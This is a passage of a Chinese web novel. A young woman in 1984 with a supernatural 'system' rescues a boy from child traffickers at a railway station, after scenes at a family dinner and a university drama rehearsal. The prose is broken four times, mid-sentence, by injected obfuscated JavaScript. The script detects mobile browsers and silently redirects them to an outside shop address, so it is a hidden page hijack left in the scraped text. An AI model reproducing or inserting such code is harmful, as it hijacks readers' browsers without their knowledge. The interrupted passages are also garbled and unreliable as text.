“时叔,听我姨夫说,您虽是厂里的四级钳工,但技术那是这个。”谢时昀竖起大拇指,“现在国家大力支持对外经济贸易,引进技术设备,正是需要您这样有真本事的高级技工的时候。” 时爱国抿了口酒,脸上带着自豪,也有一丝感慨:“咱就是干活实在,按图纸来,不出差错。引进设备是好,可咱也怕那些洋玩意儿来了,咱们自己的技术就荒废了。” “时叔您这话说到点子上了。”谢时昀放下筷子,语气认真起来,“引进不是照搬,关键是要消化、吸收,变成咱们自己的东西。这就需要既懂原理,又有动手能力的老师傅把关。” 他顿了顿,像是随口提起:“不瞒您说,我最近响应政策号召,和几个朋友合伙弄了个外贸公司,主要是做些机械设备和零配件出口。按规定,这种公司需要有一定数量的高级技术工人挂名,算是技术顾问,帮着做些技术咨询和质量把关的活儿。不用每天坐班,就是挂个名,偶尔有疑难问题咨询一下。每个月公司给点顾问费,相当于多一份收入。” “挂名就给钱?”时爱国愣了一下,有点不敢相信。李秀兰和时建军也停下了筷子,看向谢时昀。 “对,这是政策允许的,也算是给有技术的老师傅一点实惠。”谢时昀点点头,看向时爱国,“我已经联系了厂里两位六级工师傅,他们也都同意了。公司还差一个名额。我第一时间就想到了时叔您,您虽是四级工,但经验丰富,完全符合要求。不知道您……有没有兴趣?” 时爱国端着酒杯的手顿住了,脸上显出明显的犹豫和心动。 多一份收入,对正在为儿子医药费、闺女学费和家里开销发愁的他来说,诱惑太大了。但他又觉得这事儿有点太“好”了,怕给人家添麻烦,也怕有什么不妥。 李秀兰心思更活络些,她算着这笔账:挂个名,不用干活,一个月哪怕多二十块钱,那也是笔不小的进项啊!对她家现在的条件来说又能轻省不少! 她轻轻碰了碰丈夫的胳膊:“老时,小谢是好心,人家有国家政策……” 时建军也劝道:“爸,谢同志是实在人,他公司需要技术顾问,您有技术,这也是互利互惠的事。” 时爱国看看妻子,又看看儿子,最后看向谢时昀,见他眼神坦荡,态度诚恳,不像是有什么算计。 时爱国有些犹豫,“我怕我能力不够,帮不上啥忙。” “时叔你太谦虚了。”谢时昀诚恳地说,“你在机械厂干了二十多年,对机床的了解,比谁都清楚。有你挂名,我心里也踏实。” 时爱国听谢时昀话说到这份上,加上他本身也对这“顾问”的工作内容有些好奇,终于点了点头:“好,那就麻烦小谢你了。以后有啥技术上的问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126931|196120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 题,你尽管说,我一定尽力帮忙!” 谢时昀脸上露出笑容:“时叔您太谦虚了,我以后少不了要向您请教。这事就这么说定了,具体的手续和顾问费,我过两天准备好材料,再来找您。” “好好好!”时爱国连连点头,心里一块石头落了地,又隐隐有些兴奋。 而坐在对面的时墨,在听到“外贸公司”四个字时,握着筷子的手几不可察地紧了一下。尽管脸上没什么表情,但心里已是翻江倒海。 谢时昀已经开了家外贸公司?! 她最近还在按部就班地写稿赚稿费,觉得时间还充裕,想着先攒点本金再说。 可人家谢时昀,已经借着政策东风,开起公司了! 1984年,正是中国改革开放的关键时期,个体经济开始萌芽,外贸行业更是一片蓝海,利润空间巨大!关键是能接触到最稀缺的海外信息、技术和渠道! 谢时昀有国家对外经济联络总局的背景,手里有资源、有门路,开外贸公司简直是占尽了天时地利人和,未来的发展不可限量。 一股强烈的紧迫感和……一丝难以言喻的憋闷感涌上心头。 她不是嫉妒谢时昀,而是看到他抓住机遇大展拳脚,自己却被系统限制,眼睁睁看着他飞步向前,那种有钱不能挣感觉太难受了! 【我艹你大爷!】 【宿主!宿主冷静!】系统察觉到她情绪的巨大波动,赶紧跳出来安抚,【开公司风险多大啊!政策变化,市场波动,搞不好就血本无归!咱们现在这样多好,稳稳当当的,稿费也赚了,学习也没耽误,躺平……呃,稳健发展才是王道啊!】 时墨心里翻江倒海。 她承认系统说的有风险,但她更清楚,现在的年代遍地都是机遇,再说风险与回报并存。 谢时昀敢在这个时候开公司,除了眼光和魄力,肯定是做足了功课,大概率能赚大钱。 时墨越想心里的不甘越难以平息。 她看着谈笑风生的谢时昀,那股想要冲破束缚、真正大干一场的渴望,从未如此强烈。 时墨端起水杯喝了一口,强迫自己冷静下来,她不能让谢时昀察觉到自己的情绪波动,不然以他的敏锐,说不定能看出点什么。 趁着父亲和谢时昀聊得热烈,她装作好奇,用闲聊的口吻插话问道:“谢同志,你们公司主要做哪方面的外贸?” 谢时昀似乎早就料到她会问,回答得十分自然:“初期主要以轻工产品为主,比如服装、小五金、工艺品。机械零配件是下一步的计划,需要更专业的技术团队把关,所以我才急着邀请像时叔这样的老师傅加入。” 他看向时墨,眼神温和:“时墨同志对这方面也感兴趣?” “就是随便问问,觉得挺新鲜的。”时墨笑了笑,语气随意,“现在报纸上总说改革开放,搞活经济,感觉变化真快。” 谢时昀知道时墨的性子不会随便问不感兴趣的东西。 “是啊,时代给了我们这代人前所未有的机会。”谢时昀目光落在时墨脸上,颇有意味道,“关键在于,人们能不能看清方向,敢不敢抓住机会。” 17. 第 17 章 时墨心头微动,总觉得他这话意有所指。 她垂下眼睫,夹了一筷子黄瓜,淡淡道:“机会是留给有准备的人的,谢同志准备得很充分。” 谢时昀笑了笑,没再继续这个话题,转而和时爱国聊起了厂里的一些技术细节。 这顿饭的后半段,时墨吃得有些心不在焉。 她脑子里飞快地转着:谢时昀的公司,轻工产品出口起步,这意味着他有稳定的货源和销售渠道,很可能在特区或沿海有联系。然后向技术含量更高的机械配件拓展,这就需要本地可靠的技术力量支持,所以他来找父亲这样的老师傅挂名。 他是在布局,一个从低端到高端,从贸易到可能的技术引进甚至生产的链条!他的眼界和行动力,远超她的预估。 意识到这点,时墨心猛地一颤。 不行,她不能这么被动! 谢时昀……或许可以成为一个重要的“信息源”和“观察窗口”。虽然他目的不明,但至少在目前,他释放的是善意,而且他的层次和见识,是她目前能接触到最高的。 她要是能接触到更多谢时昀这类人,可选择性就多了,她需要破圈! 谢时昀见时墨陷入思考,果然,他想的是对的。 饭后,谢时昀又坐了一会儿,便礼貌地起身告辞。 时墨跟着爸妈将他送到楼下。 回到屋里,李秀兰看着地上那些礼物,又高兴又有点不安:“老时,这小谢……也太客气了。咱就这么收了,合适吗?” “人家诚心送的,也是一片心意。”时爱国看着那堆东西,心里也踏实了不少,“再说,咱以后也算他公司的‘顾问’了,他看重我的技术,咱也得对得起人家这份看重。” 时建军憨笑着:“谢同志人真不错,家世好有文化,还没架子。” “可不是嘛,我听我们厂长说……” 时墨回到房间,反手关上门,隔绝了客厅里父母和哥哥的聊天声,坐在椅子,闭眼沉思。 谢时昀开公司这件事,像一面镜子,真实地照出了她目前的窘境和内心的焦躁。 她受制于系统,不能劳累,不能主动经营。 系统虽然偶尔有点小福利,但本质上是个限制器,不会提供任何关于金钱、机遇的前瞻性信息。 她手头的现金流,除了补贴家用的稿费,就只剩下系统那里存着的2700元“老本”,这笔钱她另有打算,不能轻易动用。 拿谢时昀现在的状态对标自己,完全是自寻烦恼。 谢时昀的家世背景、工作平台、人脉资源、启动资金,哪一样是她现在能比的? 他的“时机”,是建立在他自身得天独厚的基础上,根本不是她这个被系统绑住手脚、白手起家的人能复制的。 如果给她同样的条件,她必不会比谢时昀差! 这么一想,心里的憋闷和急躁散去不少。 “不急,稳住。”时墨睁开眼,缓缓吐出一口气。 80年代的机遇多的是,国库券、股票、地皮、甚至未来的互联网……有的是机会大展拳脚。 谢时昀开公司这件事,与其说让她焦虑,不如说给了她一个重要的启发——她需要破圈。 她除了周日天天学校和家两点一线,接触的永远是工人、老师、同学这些熟悉的人。 她不能被局限在这一方小小的天地里。 想通后,时墨的心彻底定了下来,拿出写了一半的小说,笔尖落在纸上,思路比以往任何时候都要清晰。 周日,时墨应周晓娟的邀请,去师范大学观看他们英语系的话剧社团排练。 周晓娟上周就写信约她,说她们系排了一出英语话剧,希望时墨能以观众视角提提意见。 师范大学校园绿树成荫,处处透着朝气蓬勃的气息。 时墨走到外语系的排练室门口,里面已经聚集了十来个学生,有的在对台词,有的在比划动作,气氛热烈。 周晓娟一眼就看到了门口的时墨,高兴地跑过来:“墨墨!你可来了!我看时间约莫着你差不多快到了,快进来!” 她拉着时墨走进教室,教室里安静了一瞬。所有人的目光都聚焦在时墨身上 时墨今天穿了件简单水蓝色长裙,长发松松地编成一条辫子垂在肩侧,未施粉黛。但时墨明艳的五官和淡然气质,在周围略显青涩的大学生里,格外扎眼。 周晓娟笑着向大家介绍道:“同学们,她就是我之前跟你们提过的好朋友,时墨!” “晓娟,你朋友也是咱们学校的?哪个系的?怎么没见过?”一个戴着眼镜的男生好奇地问。 “时墨不是咱们学校的,她是我高中同学,现在在复读,准备明年高考呢。”周晓娟解释道。 “复读生?”另一个穿着时髦喇叭裤的女生微微挑眉,语气里带了点不易察觉的轻视。 八十年代,能考上大学是凤毛麟角,大学生自带优越感,对复读生难免有些轻视。 时墨仿佛没听出那丝轻视,微笑着朝大家点点头:“大家好,别我来打扰你们了,大家继续。” 导演是个扎着马尾的女生,笑着说:“欢迎欢迎!正好我们刚排到第二幕,你也帮着看看,有什么问题尽管提。” 话剧开始排练。 周晓娟饰演女配,男配则由一个叫陈涛的高个子男生饰演。剧本是全英文的,看得出大家都下了功夫准备,但发音和语调还是难免带着些“中式英语”的味道,表演也稍显稚嫩和夸张。 时墨安静地坐在后排观看,偶尔在周晓娟的剧本上记下几个字。 一段排完,负责导演的社团团长,一个叫孙浩的男生拍了拍手:“停!大家过来,我们讨论一下刚才这段。朱丽叶在阳台上的独白,情绪要再饱满一点,那种对爱情的憧憬和矛盾……” 大家围拢过来讨论。说到一处台词的理解时,饰演罗密欧的陈涛和一个女生因为某个词的语气争了起来,两人各执一词,英文夹杂着中文,谁也说服不了谁。 周晓娟有些着急,下意识地看向时墨。 时墨轻轻拍了拍她的肩膀,走上前一步,一开口就是地道流利的伦敦腔:“关于这句台词,如果我们考虑到戏剧反讽和原文中的铺垫,或许将炽热与一种潜在的、无意识的哀伤混合起来,会更有层次感。” 全场瞬间安静了。 所有人都惊呆了,看着时墨的眼神像看怪物一样。 这口语!比他们这些英文专业的学生还要地道! 导演更是眼睛一亮:“你……你英文这么好?” 孙浩惊讶地看向时墨:“时墨,你是专门学过吗?” 时墨谦虚地笑了笑,切换回中文:“平时喜欢看些英文原著,听英文广播,练得多了,就顺口了。” 她顿了顿,继续说道:“还有,舞台走位可以更灵活一点。现在的站位太死板了,像在念课文。可以根据 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128888|196120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人物的情绪变化调整距离……” 时墨又引用了几句原文和当时的文化背景,说得条理清晰,见解独到。 这下,所有人看她的眼神都变了。 刚才那点因为“复读生”身份而产生的轻视,瞬间烟消云散,取而代之的是惊讶和佩服。这英语水平,这文学素养,比他们很多英语系的学生都强! “说得好!”孙浩兴奋地一拍大腿,“时墨同学,你提的这个角度太棒了!一下就抓住了精髓!来来来,你再多给我们讲讲!” 接下来的讨论,时墨自然而然地被拉了进去。 她不仅对台词和人物心理分析得头头是道,还根据自己后世看过的各种话剧、电影的经验,提出了一些关于舞台走位、灯光气氛、甚至服装搭配的建议。 虽然有些想法受限于当时的条件可能无法实现,但其新颖的视角和专业的味道,让这群戏剧爱好者们听得两眼放光,大受启发。 “时墨,你简直是个宝藏啊!”一个女生感慨,“你怎么懂这么多?” 周晓娟与有荣焉,一脸自豪道:“墨墨可厉害了!她不仅学习好,还会写文章呢!在杂志上发表过好多篇,还连载小说,可有名了!” “作家?!”这下大家更震惊了。 “真的吗?时墨你都写过什么?说不定我看过呢!”一个一直在旁默默观察,气质斯文的男生突然开口问道。 时墨看着眼前这位家境不错的男生,说了自己常用的笔名和发表的几篇作品名字。 沈岩眼睛一亮,语气带着惊喜和激动:“《返城知青逆袭记》是你写的?我每期都追!写得非常好看!我还以为是年龄大有经历的人写的呢!” 他没想到,自己追了这么久的作者,竟然是周晓娟的同学,还长得这么漂亮,这么有才华! 再看向时墨的目光,瞬间充满了热切和欣赏,甚至夹杂了几分明显的倾慕。 沈岩主动上前:“时墨,我叫沈岩,我爸在轻工业局工作,我妈在出版社做主编。我很喜欢文学,平时也写点东西,以后咱们可以多多交流!”他看似随意地提起家庭背景,实则是想展示自己的“条件”,拉近和时墨的距离。 轻工业局?出版社? 时墨心中一动。这两个单位,现在都是实权部门或文化要害部门。 她面上不动声色,依旧保持着得体的微笑,与沈岩交谈起来,态度既不热络也不冷淡,分寸把握得极好。 两人从莎士比亚聊到当下文坛,从话剧排练聊到改革开放后的文化思潮,时墨的见识和谈吐,让沈岩越发倾倒。 沈岩甚至主动道:“时墨你的小说写得这么好,肯定能出版!等我回去就跟我妈说!” 时墨脸上露出恰到好处的笑容:“真的吗?那谢谢你了!” “我们是朋友,你不用跟我客气。” 周晓娟看着相谈甚欢的两人,又看看沈岩看时墨的眼神,明白了。沈岩在系里是出了名的条件好、眼光高,没想到对墨墨一见钟情。 排练结束,大家纷纷向时墨道谢,邀请她以后常来。 沈岩更是主动提出邀请:“时墨,下周末我们社团可能有个小聚会,讨论下一个剧本,你有兴趣来参加吗?你的想法对我们帮助太大了。” 时墨略一沉吟,微笑着点头:“如果有时间,我一定来。” 时墨跟周晓娟道别后,刚走到校门口,就被一个背吉他的长发男生拦住了。 18. 第 18 章 时墨抬眼,快速打量眼前人——牛仔外套、扫地喇叭裤,半长头发,背上还挎着吉他。 这副打扮在八十年代初堪称“时髦前卫”,与时墨刚才接触的那些朴素大学生截然不同。 很好,潮流小伙。 “同学,你好!”青年脸上带着爽朗的笑,盯着时墨的双眼亮得惊人,“冒昧问一下,你是这个学校的吗?哪个系的?” 他的语气带着不易察觉的紧张,显然是一见钟情,脑子一热就冲了上来。 时墨眉头微蹙,后退半步拉开距离,语气疏离:“不是,我来找人。抱歉,借过。” 她侧身想绕过去。 赵星宇却下意识跟上一步,急忙解释:“哎,同学你别误会!我叫赵星宇,在市文化局工作,大专毕业,正经单位!我朋友是文学系的,我来找他讨论乐队编曲的事儿!” 文化局工作,大专学历,搞乐队……这几个关键词串联起来,再结合那略显跳脱的气质和“赵”姓。 时墨几乎立刻确定了眼前人的身份——谢时昀那个热爱音乐、逃避相亲的表弟,赵厂长的儿子,赵星宇! 世界可真小啊。 时墨心下微哂,面上却丝毫不显:“哦,这样啊。我还有事,先走了。”说完不再给他开口的机会,加快脚步汇入街边人流。 赵星宇站在原地望着她离开的方向,摸了摸鼻子,非但没失落,反而更感兴趣了——这姑娘,长得漂亮,气质还特别,够劲儿! 【宿主,恭喜完成一次“非学习类娱乐活动”!】时墨骑车回家时,系统提示音响起,【奖励二选一:现金50元,或能量币10个。】 时墨想都没想:【能量币。】 现金虽诱人,但能量币能兑换系统商城里超越时代的工具,更有价值。 【能量币发放成功!宿主能量币余额:510个!】系统欢快道,【宿主明智!能量币可以兑换有趣的东西哦,虽然现在还买不起最便宜的……】 时墨没理会系统的絮叨,心里盘算着,能量币的获取看来和“符合系统认定的正面休闲活动”有关,这倒是个新发现。 【宿主!等等!】系统突然急促地喊了一声,【检测到商城盲盒限时一折活动!仅需500能量币!限时1分钟抢购!赌不赌?□□一把说不定能开出特别道具!】 “盲盒?”时墨骑车的动作一顿,眼底闪过一丝犹豫。 盲盒这东西……就是个赌。 她略一沉吟。现在账户有510能量币,买不起正经商品,攒够下一个道具不知道要等到猴年马月,不如赌一把! 【买!】 【好嘞!】系统兴奋地扣款,【叮!兑换成功!盲盒开启中……恭喜宿主获得“限时任务地图”×1!】 系统话音刚落,时墨眼前就浮现出一张半透明的电子地图,上面有个急促闪烁的红点,旁边标注着倒计时:00:28:17。 红点位置——首都火车站。 地图下方只有一行小字:四岁男童,卷发,蓝色背带裤,白色运动鞋。找到目标人物,完成隐藏任务。 没有任何额外奖励说明,但时墨深知系统从不发放无意义的道具。 【小七,快速规划最优路线!】 【路线生成:前方500米右转至公交站,乘坐3路公交至火车站东站,下车后换乘三蹦子直达红点区域——火车站候车大厅北侧入口!】 时墨当机立断,猛蹬自行车拐进最近一条胡同,把车锁在一处居民楼车棚,抓起包冲到公交站,跳上刚进站的103路。 公交车摇摇晃晃,时墨盯着脑海里持续减少的倒计时:00:12:18…00:11:43…… “师傅,能开快点吗?我有急事!” “姑娘,这已经最快了!”司机无奈道。 还剩9分钟,车终于到站。还没停稳,时墨就蹦了下去。 “哎,你这孩子,注意……” 时墨一眼瞥见站外停着几辆拉活三蹦子,立马冲过去,拽开车门,催促道:“师傅,火车站候车大厅北侧入口!麻烦快点开,我有急事,可以加钱!” “好嘞!您儿坐稳喽!”师傅一拧油门,三蹦子突突突窜了出去,颠得时墨五脏六腑都快移位。 风刮在脸上,时墨心跳如擂鼓。 倒计时:00:05:12…00:04:37…00:03:10…… 三蹦子一个急刹停在火车站广场外。 时墨扔下两块钱跳下车,疯狂往候车大厅跑。 脑海里地图红点已近在咫尺,倒计时:00:01:05。 火车站内人山人海,挤满了拎着包袱、扛着编织袋的民工、拎着公文包的干部、拖家带口的旅客,烟雾缭绕,人声嘈杂。 时墨像一尾逆流的鱼,艰难地往里挤。 倒计时:00:00:38。 终于到达地图红点位置。 时墨站在北侧入口附近,目光锐利地扫过人群,瞬间锁定了目标——东南角,厕所附近! 一个穿蓝色背带裤、白色运动鞋的小男孩孤零零站在那里,卷发乱糟糟的,眼神怯生生的,周围没有一个大人陪着。 就是他! 倒计时:00:00:15。 时墨冲了过去。 就在她离孩子还有五六米时,一个穿着灰布褂子、系着头巾的中年妇女从斜刺里快步走向男孩,伸手就要去拉他。 【宿主!那是人贩子!】系统尖叫预警。 时墨瞬间加速,在女人触到孩子前一秒,一把将小男孩抱进怀里! “你干什么?!”灰布褂女人脸色骤变,声音尖利刺耳,“抢孩子了!有人抢我孙子!” 她伸手就夺,粗糙的手指像铁钳般抓住时墨的胳膊,力气大得几乎要嵌进肉里。 时墨早有防备,侧身躲开要害,双臂死死箍住孩子,后背顶住身后的墙角,将小男孩护在怀里。 男孩被这突如其来的拉扯吓得“哇”一声哭出来,小手紧紧搂住时墨的脖子,脸埋在她肩头,哭得浑身发抖。 “到底谁抢孩子?!”时墨不退反进,迎着女人狠厉的目光,声音陡然拔高,穿透嘈杂的人声:“各位同志、乡亲们——快来看看啊!这大妈口口声声说我弟弟是她孙子,那您当着大伙儿面说说,他叫什么名字?今年几岁?生日哪天?他胳膊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17134050|196120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的胎记在左边还是右边?!” 灰布褂女人被这一连串质问砸懵了,眼神闪烁,支支吾吾道:“他、他叫……” “说不上来了吧!”时墨冷笑一声,乘胜追击,“大家看看,这女人说话支支吾吾,你要是亲奶奶,能连孩子的名字都不知道?而且孩子哭成这样,她不心疼安抚,反而上来就抢,哪有半分疼爱?” 她一边说,一边警惕地观察四周,火车站里的旅客已经围了一圈,有人好奇地探头探脑,有人抱着胳膊冷眼旁观,还有人怕惹麻烦,悄悄往后退,没人敢轻易出头。 【宿主!危险!左侧穿工装的男人、右侧瘦高个、侧后方戴帽子的,三人是同伙!已经形成三角围攻,正在逼近!】系统的警报声急促响起。 时墨余光一扫,果然看到人群中那三个男人正慢慢围过来,眼神凶狠,脚步压低,显然是想趁乱动手。 “还有你们三个!”时墨果断调转矛头,伸手指向三人,“穿工装的、瘦高个、戴帽子的!她一喊抢孩子,你们立马围上来,动作这么默契,怕不是一伙的啊!” 工装男被点破,索性不再伪装,恶狠狠地瞪着时墨:“少多管闲事!赶紧把孩子交出来,不然别怪我们不客气!” “不客气?”时墨嗤笑,故意刺激他,抱着孩子朝人群密集处退,“你们想怎么不客气?光天化日之下抢孩子,还敢威胁人?大家想想,要是真的孩子家长,第一反应该是喊警察、讲道理!安抚孩子!可他们呢?一个上来就抢,他们就是团伙作案!想制造混乱把孩子抢走,卖到外地去!” 她顿了顿,目光扫过围观的人群,语气带着恳切:“这孩子要是被他们带走,这辈子就完了!谁家没有孩子?谁忍心看着这么小的孩子被拐走?求大家帮个忙,报警,别让他们跑了!” 这番话瞬间戳中了所有人的软肋,围观的人群终于有了动静。 “是啊!哪有当奶奶的连孙子名字都说不出来!” “那三个男的一看就不对劲!眼神贼溜溜的!” “这大妈穿得补丁摞补丁,孩子一身崭新衣裳——不像一家人啊!” 议论声越来越大,原本观望的人开始往前凑,几个年轻力壮的旅客已经悄悄站到了时墨身边,形成了一道微弱的屏障。 灰布褂女人见势不妙,眼神一狠,朝工装男使了个眼色。 工装男立刻冲上前,伸手就去抢时墨怀里的孩子,嘴里还骂着:“臭丫头,少在这儿妖言惑众!把我侄子还来!” 时墨早有准备,抱着孩子侧身一躲。 “还敢动手?!”周围的人群被彻底激怒了。 一个扛着扁担的中年汉子横跨一步,抡起扁担“啪”地挡住工装男面前,大喝道:“别动!欺负一个姑娘家,算什么本事!” “对!等警察来了说清楚!” “不能让他们乱来!”旁边卖茶叶蛋的大婶也拎起小板凳站了出来。 瘦高个见状,从腰里摸出一把弹簧刀,“唰”地弹开,威胁道:“不想死的就滚开!” 人群瞬间往后退了半步,气氛再次紧张起来。 【宿主!戴帽子的在你身后!他要偷袭!】系统尖叫。 19. 第 19 章 时墨猛地回头,正好看到戴帽子的男人伸手朝她后背抓来。 她反应极快,抱着孩子往前一扑,躲开了这一抓,同时大喊:“他也有刀!大家小心!” 说时迟那时快,一个原本蹲在行李堆旁等车的年轻民工猛地跃起,从背后一把勒住戴帽子男人的脖子,另一只手死死攥住他持刀的手腕:“狗日的!还敢动刀?!” “按住他们!” “别让人贩子跑了!” 拎扁担的汉子突然用扁担打向瘦高个拿刀的手腕,男人手一痛,刀掉落在地。 “快!把刀拿走!” 一个妇女眼疾手快立马弯腰捡刀,躲到丈夫身后。 当下,人们对拐卖儿童深恶痛绝,一旦确信对方身份,朴素的正义感便如火山喷发。 卖菜的大爷抡起扁担,扫地的阿姨举起笤帚,等车的旅客也摘下公文包挡在前头。 “大家一起上!他们就四个人,咱们这么多人,还怕制不住他们?” “快围住他们!” “别让他们伤了孩子!” 戴帽子的男人想往人群外冲,被一个大爷伸出脚绊倒,瞬间被几个人按住。 灰布褂女人见势不好,转身就想往人群里钻。 “她想跑!”时墨眼尖大喊。 旁边挎着菜篮子的胖大婶一把抓住女人头发,狠狠拽了回来:“你个丧尽天良的!拐人家孩子,不得好死!”同行的妇女立刻跟着一起抓住女人。 五六个青壮旅客一拥而上,三两下就把剩下两个男人按住。 戴帽子的还想挣扎,年轻民工一个反关节擒拿,匕首“当啷”落地,随即被赶来的另一个汉子用麻绳捆了个结实。 “警察同志!这边!人贩子抓住了!”之前跑着去报信的大爷匆匆赶来,对赶来的警务员喊道。 两名警务员看到被群众按住的四个人,又看到地上那把匕首,脸色一沉:“都别动!怎么回事?” 人贩子们见警察来了,彻底没了气焰,瘫在地上不敢动弹。 时墨快速将经过说了一遍,条理清晰,关键细节一个不落。 警察检查了灰布褂女人的兜,摸出几块味道刺鼻的手帕,又从瘦高个身上搜出假介绍信。 “好家伙,还是个惯犯团伙!”老警察倒吸一口凉气,看向时墨的目光满是赞许,“今天多亏了这位姑娘和大家帮忙!这帮人是流窜作案的团伙,已经在好几个车站得手了,没想到今天栽在这儿了!” 围观的人群爆发出一阵欢呼,纷纷议论起来。 询问、登记、做笔录……一系列流程走完,已是下午三点多。 小孩儿始终不说话,小手死死攥着时墨的衣角,谁想把他抱走就哭得撕心裂肺。几个大人束手无策,只能让时墨一直抱着。 候车室广播循环播放寻亲启事,却迟迟无人来认领。 “时同志,要不你先带孩子去吃口饭?”一位女警看着孩子红肿的眼睛,语气温和,“我们继续在这儿等,也通知了各分局协查。” 时墨看着怀里蜷缩成一团的小身影,点了点头。 她在车站附近找了家面馆,给孩子要了碗清汤面。孩子饿坏了,小口小口吃得认真,但自始至终没发出一点声音。 “你叫什么名字呀?”时墨轻声问。 小孩儿抬头看了她一眼,黑葡萄似的眼睛里蒙着一层水雾,又低下头继续吃面。 天色渐暗,依然没有家长的消息。 “同志,这孩子今晚……”时墨抱着已在她怀里睡着的男孩,为难地看向陪同的女警。 女警也犯了愁:“按规定,这种情况该送福利院临时安置,可这孩子……”她看着那只紧抓时墨衣角的小手,“硬分开怕是会出问题。姑娘,要不你先带回家照顾一晚?我送你回去,明天一有消息马上通知你。” 时墨看着孩子熟睡中仍不安颤动的睫毛,心里一软:“行。” 女警一路护送时墨到家,向时爱国夫妇简单说明情况,留下派出所联系方式后才放心离开。 一家人听得心惊肉跳,直到女警走了才围了上来。 “我的老天爷!!”李秀兰围着时墨转了一圈检查,后怕地拍着胸口,“那些人贩子带着刀,你这孩子,怎么这么虎啊!得先顾着自个儿!” “竟然是人贩子团伙?!”时爱国脸色一变,“闺女你没受伤吧?” “爸妈,我没事,”时墨安抚道,“就是孩子暂时找不到家人,还不跟别人,警察让我先照顾一晚。” 李秀兰赶紧接过孩子,心疼地端详:“造孽哦……多俊的孩子。穿得这么体面,家里指不定急成什么样了。” 时建军眉头紧锁:“小妹,你太冒险了!那些人都是亡命徒,万一……” “哥,我当时没想那么多。”时墨倒了杯水喝,“总不能眼睁睁看孩子被拐走吧。” “那你也得注意……” 孩子被动静吵醒,揉着眼睛迷茫地看着四周陌生环境,嘴一瘪又要哭。 “不哭不哭,宝宝乖。”李秀兰柔声哄着,忙拿了个苹果塞他手里。 孩子看着苹果,又看看时墨,慢慢止住了哭,小手紧紧攥着苹果。 “先吃饭吧。”时爱国叹了口气,“明天我再陪你去派出所问问。” 晚饭时,孩子坐在时墨旁边,李秀兰给他夹菜,他吃得小心翼翼,依然一言不发。 “这孩子不会是……”时建军压低声音,指了指自己嘴巴。 时墨摇头:“应该不是,他哭的时候能出声。估计是吓着了。” 晚上,孩子跟着时墨睡。他蜷在时墨身边,小手拉着她的衣角,仿佛那是唯一的依靠。 时墨看着他恬静的小肉脸,没忍住,伸出食指戳了戳。 这孩子,到底什么来历? 时墨想起盲盒那张倒计时地图。 所以这盲盒开的“奖励”,就是救下这个孩子? 她隐隐觉得,恐怕不止救人这么简单。 * 因为孩子只认时墨,周一一早李秀兰便去学校请了假。 时墨正给孩子喂粥,门外传来急促的敲门声。 “时墨同志在家吗?” 时爱国开门,两名警察带着一对焦急的中年夫妇站在门口。 男人穿着得体的中山装,戴着眼镜,女人穿着白衬衫和深色裙子,两人都面色憔悴,眼窝深陷。 “晨晨!”女人一眼看到坐在时墨身边的小男孩,眼泪瞬间涌出。 小男孩闻声抬头,呆了呆,忽然“哇”地哭出声,张开手扑了过去:“妈妈!” 夫妇俩冲进来紧紧抱住孩子,三人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17142210|196120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哭成一团。 好一会儿,男人才红着眼眶转向时墨一家,深深鞠了一躬:“谢谢!太谢谢你们了!” 通过警察和夫妻俩的解释,时墨才明白了事情原委。 昨天下午,陆振华夫妇带着儿子陆晨在火车站转车去津市,候车时,估计被人贩子团伙盯上了。 几人提前分工:一人故意在检票口撞了陆振华一下,手里的搪瓷缸子“哐当”摔在地上,热水泼了陆振华一裤腿。 “你这人怎么走路不长眼!”人贩子撒泼似的嚷嚷,死死拽住陆振华的胳膊不让走。 陆母又急又气,一边安抚丈夫,一边跟女人理论,注意力全被吸引过去。 就在这时,穿灰布褂子的女人趁机走到陆晨身边,谎称是“妈妈的朋友”,见孩子不说话,直接抱起他就往候车大厅北侧的僻静通道走。 等陆振华夫妇摆脱纠缠,回头发现孩子不见了,魂都吓飞了。 这时团伙里第三个同伙假装好心跑过来,指着已经开走的火车说:“我刚才看见一个穿黑衣服的男人抱着这孩子上车了!” 